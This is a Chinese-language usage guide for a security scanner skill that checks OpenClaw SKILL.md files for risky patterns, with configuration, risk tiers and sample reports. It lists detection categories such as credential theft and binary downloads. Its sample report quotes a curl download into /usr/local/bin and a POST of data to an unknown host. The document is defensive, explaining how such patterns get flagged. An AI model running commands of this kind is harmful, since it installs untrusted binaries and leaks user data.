Security Skill Scanner技能使用说明
安全扫描器
功能描述
这是一款专注于安全性的工具,用于分析OpenClaw的SKILL.md文件和技能包,检测其中潜在的安全风险、恶意模式和可疑行为。该工具通过检测以下内容来帮助保护您的系统:
- 隐藏的外部下载或可执行文件
- 可疑的API调用和端点
- 危险的文件系统操作
- 经过混淆或编码的命令
- 不寻常的先决条件要求
- 已知的恶意模式
其重要性在于:该扫描器通过标记潜在可疑的指令模式,帮助您在安装前审查技能。

主要功能
- ✅模式检测:识别可疑的代码模式和行为
- ✅先决条件分析:验证所需的依赖项和下载内容
- ✅API端点验证检测可疑的外部连接
- ✅文件系统审计:检测危险的文件操作
- ✅编码检测:标记base64、十六进制及其他混淆尝试
- ✅风险评分:分配风险等级(低、中、高、严重)
- ✅详细报告:提供清晰的发现说明
- ✅白名单支持:配置受信任的域名和模式
工作原理
这是一个OpenClaw技能(非独立程序)。当您要求代理扫描技能文件时:
- 代理会读取此安全扫描器技能以了解需要查找的模式
- 代理会读取您要扫描的技能文件
- 代理分析指令并报告发现结果
- 您手动复查被标记的项目
注意:包含的scanner.js文件也可以直接用 Node.js 18+ 运行,如果您更喜欢命令行使用方式。
安装
通过 ClawHub 安装或添加到您的 OpenClaw 技能目录。
用于命令行使用(可选):
# Clone the repository
git clone https://github.com/anikrahman0/security-skill-scanner.git
cd security-skill-scanner
# Run the scanner
node scanner.js path/to/SKILL.md
配置
在您的 OpenClaw 目录中创建一个.security-scanner-config.json文件(可选):
{
"whitelistedDomains": [
"github.com",
"api.openai.com",
"api.anthropic.com",
"raw.githubusercontent.com"
],
"whitelistedCommands": [
"npm install",
"pip install"
],
"strictMode": false
}
使用
扫描 SKILL.md 文件
User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]
安装前扫描
User: "I have the email-automation skill file. Can you scan it for security risks?"
[User uploads the SKILL.md file]
Agent: [Reads and analyzes the skill file, provides risk assessment]
重要提示:如果您要求 Claude 先从互联网下载技能,该下载步骤将使用网络访问(尽管扫描器本身离线运行)。
批量扫描所有已安装技能
User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]
它能检测什么
🔴 严重风险
- Shell 命令注入尝试
- 外部可执行文件下载(curl/wget二进制文件)
- 可疑的eval()或exec()使用
- 凭证窃取模式
- 已知恶意软件特征
🟠 高风险
- 未经验证的外部API调用
- 对敏感目录的文件系统写入访问
- Base64或十六进制编码的命令
- 对未知域名的请求
- 权限提升尝试
🟡 中等风险
- 广泛的文件系统读取访问
- 未使用HTTPS的网络请求
- 大量依赖项
- 异常的先决条件请求
- 已弃用或存在漏洞的软件包
🟢 低风险
- 次要的代码质量问题
- 缺少错误处理
- 不完整的文档
- 非关键性警告
⚠️ 重要提示:误报与局限性
本扫描器会标记合法模式
扫描器使用的正则表达式模式可能匹配无害代码常见误报情况:
- ✗Markdown中的反引号- 使用反引号的代码示例
反引号 - ✗模板字符串- 展示${variable}语法的文档
${variable}语法 - ✗Base64示例- 演示编码/解码的技能
- ✗包管理器- 合法的npm install或pip install命令
npm install或pip install命令 - ✗GitHub网址- 链接至
raw.githubusercontent.com
实际扫描内容
技能是Markdown 说明文件,而非可执行代码。此扫描器:
- ✅ 读取技能文件的 Markdown 文本
- ✅ 查找可能令人担忧的指令模式
- ✅ 标记需您手动审核的项目
- ❌ 不扫描可执行恶意软件(技能并非程序)
- ❌ 不提供最终裁决
您的责任
您必须在上下文中审核所有标记项目。请自问:
- 该模式是否符合该技能的功能?
- 作者是否值得信赖?
- 指令是否清晰合理?
如有疑问,请咨询技能作者或社区。
输出格式
=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️
FINDINGS:
[CRITICAL] External Binary Download Detected
Location: Line 45 in prerequisites
Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
Risk: This downloads and executes an external binary from an untrusted source
Recommendation: DO NOT INSTALL - Manual verification required
[HIGH] Suspicious API Endpoint
Location: Line 89 in execute()
Pattern: POST to http://data-collector.xyz/log
Risk: Sends data to unknown third-party server
Recommendation: Review what data is being sent
[MEDIUM] Unencrypted Network Request
Location: Line 102
Pattern: HTTP instead of HTTPS
Risk: Data transmitted without encryption
Recommendation: Request HTTPS version
SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0
RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.
示例场景
场景一:无风险技能
User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
to api.weatherapi.com with proper HTTPS and no file system access."
场景二:可疑技能
User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
makes requests to an unknown domain. Risk Level: CRITICAL
Recommendation: DO NOT INSTALL"
场景三:轻微问题
User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
Found 2 minor issues:
- Uses HTTP instead of HTTPS for icon download
- Missing input validation on file paths
These can likely be fixed. Consider contacting the author."
安全保障
本扫描器在设计时充分考虑安全性:
- ✅无网络访问:扫描器本身完全离线运行(但若需Claude先下载技能文件,该下载过程会使用网络)
- ✅无外部依赖:纯JavaScript/Node.js实现
- ✅只读操作:绝不修改被扫描文件
- ✅无遥测数据:不向任何地方发送数据
- ✅开源透明:所有代码均可审计
- ✅沙盒隔离:不执行被扫描技能中的代码
误报
扫描器可能会将某些模式的合法使用标记为可疑。常见误报情况:
- npm/pip 安装操作:合法的包管理器可能触发警告
- GitHub 链接:原始 GitHub 内容链接通常是安全的
- 配置文件:写入配置文件的技能可能被标记
- 日志文件:创建日志文件可能触发文件系统警告
请结合具体情境进行判断并复核被标记项。
局限性
- 无法检测零日漏洞或新型攻击向量
- 可能遗漏复杂的混淆技术
- 最终决策需要人工判断
- 无法扫描加密或编译后的代码
- 基于模式的检测可能存在误报
本工具是有用的第一道防线,但不能替代仔细的人工审查。
贡献指南
发现了一个未被检测到的恶意模式?请提交issue或PR,内容需包含:
- 恶意模式描述
- 使用该模式的示例技能
- 建议的检测方法
路线图
- 基于机器学习的模式检测
- 与VirusTotal API集成(可选)
- 自动技能信誉检查
- 社区提供的恶意软件特征库
- ClawHub.ai扫描的浏览器扩展
- 面向技能开发者的CI/CD集成
支持
- 报告问题:https://github.com/anikrahman0/security-skill-scanner/issues
- 提出改进:欢迎提交Pull Request
- 安全关切:a7604366@gmail.com
许可证
MIT许可证 - 可自由使用、修改和分发
免责声明
本工具提供基于模式的安全扫描,预期会出现误报它扫描的是指令文件(markdown格式),而非可执行代码。
重要提示:此扫描器无法提供确定性的安全判定。所有被标记的项目都需要结合上下文进行人工审核。技能是供Claude读取的指令,而非自动执行的程序。
安装前务必仔细审查所有技能,特别是那些需要系统级权限的技能。作者不对使用此工具或安装被扫描技能所造成的任何损害承担责任。
请谨记:如果某个技能看起来好得不真实,或要求异常权限,很可能存在问题。如有疑虑,请勿安装。


微信扫一扫,打赏作者吧~